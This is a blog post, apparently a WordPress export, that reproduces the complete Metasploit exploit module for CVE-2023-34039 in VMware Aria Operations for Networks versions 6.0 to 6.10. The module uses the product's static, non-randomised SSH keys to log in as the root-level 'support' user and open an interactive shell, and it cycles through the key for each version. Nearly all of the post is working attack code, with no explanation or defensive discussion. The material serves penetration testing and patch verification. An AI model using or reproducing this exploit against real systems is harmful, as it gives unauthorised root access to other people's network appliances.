##
\n# This module requires Metasploit: https:\/\/metasploit.com\/download
\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
\n##<\/p>\n
require ‘net\/ssh’
\nrequire ‘net\/ssh\/command_stream’<\/p>\n
class MetasploitModule < Msf::Exploit::Remote
\ninclude Msf::Auxiliary::Report
\ninclude Msf::Exploit::Remote::SSH<\/p>\n
Rank = ExcellentRanking<\/p>\n
def initialize(info = {})
\nsuper(
\nupdate_info(
\ninfo,
\n{
\n‘Name’ => ‘VMWare Aria Operations for Networks (vRealize Network Insight) SSH Private Key Exposure’,
\n‘Description’ => %q{
\nVMWare Aria Operations for Networks (vRealize Network Insight) versions 6.0.0 through 6.10.0
\ndo not randomize the SSH keys on virtual machine initialization. Since the key is easily
\nretrievable, an attacker can use it to gain unauthorized remote access as the “support” (root) user.
\n},
\n‘Platform’ => ‘unix’,
\n‘Arch’ => ARCH_CMD,
\n‘Privileged’ => true,
\n‘Targets’ => [
\n[ ‘6.0_platform’, { ‘key’ => ::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2023-34039’, ‘id_rsa_vnera_keypair_6.0.0_platform’) } ],
\n[ ‘6.0_proxy’, { ‘key’ => ::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2023-34039’, ‘id_rsa_vnera_keypair_6.0.0_proxy’) } ],
\n[ ‘6.1_platform’, { ‘key’ => ::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2023-34039’, ‘id_rsa_vnera_keypair_6.1.0_platform’) } ],
\n[ ‘6.1_proxy’, { ‘key’ => ::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2023-34039’, ‘id_rsa_vnera_keypair_6.1.0_proxy’) } ],
\n[ ‘6.2_collector’, { ‘key’ => ::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2023-34039’, ‘id_rsa_vnera_keypair_6.2.0_collector’) } ],
\n[ ‘6.2_platform’, { ‘key’ => ::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2023-34039’, ‘id_rsa_vnera_keypair_6.2.0_platform’) } ],
\n[ ‘6.3_collector’, { ‘key’ => ::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2023-34039’, ‘id_rsa_vnera_keypair_6.3.0_collector’) } ],
\n[ ‘6.3_platform’, { ‘key’ => ::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2023-34039’, ‘id_rsa_vnera_keypair_6.3.0_platform’) } ],
\n[ ‘6.4_collector’, { ‘key’ => ::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2023-34039’, ‘id_rsa_vnera_keypair_6.4.0_collector’) } ],
\n[ ‘6.4_platform’, { ‘key’ => ::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2023-34039’, ‘id_rsa_vnera_keypair_6.4.0_platform’) } ],
\n[ ‘6.5_collector’, { ‘key’ => ::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2023-34039’, ‘id_rsa_vnera_keypair_6.5.0_collector’) } ],
\n[ ‘6.5_platform’, { ‘key’ => ::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2023-34039’, ‘id_rsa_vnera_keypair_6.5.0_platform’) } ],
\n[ ‘6.6_collector’, { ‘key’ => ::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2023-34039’, ‘id_rsa_vnera_keypair_6.6.0_collector’) } ],
\n[ ‘6.6_platform’, { ‘key’ => ::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2023-34039’, ‘id_rsa_vnera_keypair_6.6.0_platform’) } ],
\n[ ‘6.7_collector’, { ‘key’ => ::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2023-34039’, ‘id_rsa_vnera_keypair_6.7.0_collector’) } ],
\n[ ‘6.7_platform’, { ‘key’ => ::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2023-34039’, ‘id_rsa_vnera_keypair_6.7.0_platform’) } ],
\n[ ‘6.8_collector’, { ‘key’ => ::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2023-34039’, ‘id_rsa_vnera_keypair_6.8.0_collector’) } ],
\n[ ‘6.8_platform’, { ‘key’ => ::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2023-34039’, ‘id_rsa_vnera_keypair_6.8.0_platform’) } ],
\n[ ‘6.9_collector’, { ‘key’ => ::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2023-34039’, ‘id_rsa_vnera_keypair_6.9.0_collector’) } ],
\n[ ‘6.9_platform’, { ‘key’ => ::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2023-34039’, ‘id_rsa_vnera_keypair_6.9.0_platform’) } ],
\n[ ‘6.10_collector’, { ‘key’ => ::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2023-34039’, ‘id_rsa_vnera_keypair_6.10.0_collector’) } ],
\n[ ‘6.10_platform’, { ‘key’ => ::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2023-34039’, ‘id_rsa_vnera_keypair_6.10.0_platform’) } ],
\n[
\n‘All’, {} # built later
\n],
\n],
\n‘Payload’ => {
\n‘Compat’ => {
\n‘PayloadType’ => ‘cmd_interact’,
\n‘ConnectionType’ => ‘find’
\n}
\n},
\n‘Author’ => [
\n‘h00die’, # MSF module
\n‘SinSinology’, # PoC
\n‘Harsh Jaiswal (@rootxharsh)’, # Discovery
\n‘Rahul Maini (@iamnoooob)’ # Discovery
\n],
\n‘License’ => MSF_LICENSE,
\n‘References’ => [
\n[‘CVE’, ‘2023-34039’],
\n[‘URL’, ‘https:\/\/github.com\/sinsinology\/CVE-2023-34039’],
\n[‘URL’, ‘https:\/\/summoning.team\/blog\/vmware-vrealize-network-insight-rce-cve-2023-34039\/’],
\n[‘URL’, ‘https:\/\/www.vmware.com\/security\/advisories\/VMSA-2023-0018.html’],
\n],
\n‘DisclosureDate’ => ‘2023-08-29’,
\n‘DefaultOptions’ => { ‘PAYLOAD’ => ‘cmd\/unix\/interact’ },
\n‘DefaultTarget’ => 22,
\n‘Notes’ => {
\n‘Stability’ => [CRASH_SAFE],
\n‘Reliability’ => [REPEATABLE_SESSION],
\n‘SideEffects’ => [IOC_IN_LOGS]\n}
\n}
\n)
\n)<\/p>\n
register_options(
\n[
\n# Since we don’t include Tcp, we have to register this manually
\nOpt::RHOST(),
\nOpt::RPORT(22)
\n], self.class
\n)<\/p>\n
register_advanced_options(
\n[
\nOptBool.new(‘SSH_DEBUG’, [ false, ‘Enable SSH debugging output (Extreme verbosity!)’, false]),
\nOptBool.new(‘STOP_ON_SUCCESS’, [ false, ‘Stop on successful login’, true]),
\nOptInt.new(‘SSH_TIMEOUT’, [ false, ‘Specify the maximum time in seconds to negotiate a SSH session’, 30])
\n]\n)
\nend<\/p>\n
# helper methods that normally come from Tcp
\ndef rhost
\ndatastore[‘RHOST’]\nend<\/p>\n
def rport
\ndatastore[‘RPORT’]\nend<\/p>\n
def do_login(user, key_data)
\nopt_hash = ssh_client_defaults.merge({
\nauth_methods: [‘publickey’],
\nport: rport,
\nkey_data: [ key_data ]\n})
\nopt_hash.merge!(verbose: :debug) if datastore[‘SSH_DEBUG’]\nbegin
\nssh_socket = nil
\n::Timeout.timeout(datastore[‘SSH_TIMEOUT’]) do
\nssh_socket = Net::SSH.start(rhost, user, opt_hash)
\nend
\nrescue Rex::ConnectionError
\nprint_error “#{rhost}:#{rport} SSH – Unable to connect”
\nreturn nil
\nrescue Net::SSH::Disconnect, ::EOFError
\nprint_error “#{rhost}:#{rport} SSH – Disconnected during negotiation”
\nreturn nil
\nrescue ::Timeout::Error
\nprint_error “#{rhost}:#{rport} SSH – Timed out during negotiation”
\nreturn nil
\nrescue Net::SSH::AuthenticationFailed
\nprint_error “#{rhost}:#{rport} SSH – Failed authentication”
\nreturn nil
\nrescue Net::SSH::Exception => e
\nprint_error “#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}”
\nreturn nil
\nend<\/p>\n
if ssh_socket
\n# Create a new session from the socket, then close it.
\nconn = Net::SSH::CommandStream.new(ssh_socket)
\nssh_socket = nil<\/p>\n
return conn
\nend
\nnil
\nend<\/p>\n
def exploit
\nif target.name == ‘All’
\nkeys = targets.filter_map { |t| t.opts[‘key’] if t.name != ‘All’ }
\nelse
\nkeys = [target.opts[‘key’]]\nend<\/p>\n
keys.each do |key|
\nvprint_status(“Attempting key: #{key}”)
\nkey_data = File.read(key, mode: ‘rb’)
\nconn = do_login(‘support’, key_data)
\nnext unless conn<\/p>\n
print_good “#{rhost}:#{rport} – Successful login via support@#{rhost}:#{rport} and ssh key: #{key}”
\nhandler(conn.lsock)
\nbreak if datastore[‘STOP_ON_SUCCESS’]\nend
\nend
\nend<\/p>\n","protected":false},"excerpt":{"rendered":"
## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## require ‘net\/ssh’ require ‘net\/ssh\/command_stream’ class MetasploitModule < Msf::Exploit::Remote include Msf::Auxiliary::Report include Msf::Exploit::Remote::SSH Rank = ExcellentRanking def initialize(info = {}) super( update_info( info, { ‘Name’ => ‘VMWare Aria Operations for Networks (vRealize Network Insight) SSH Private Key Exposure’, ‘Description’ => %q{ VMWare Aria Operations …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-50526","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/50526","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=50526"}],"version-history":[{"count":2,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/50526\/revisions"}],"predecessor-version":[{"id":51294,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/50526\/revisions\/51294"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=50526"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=50526"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=50526"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}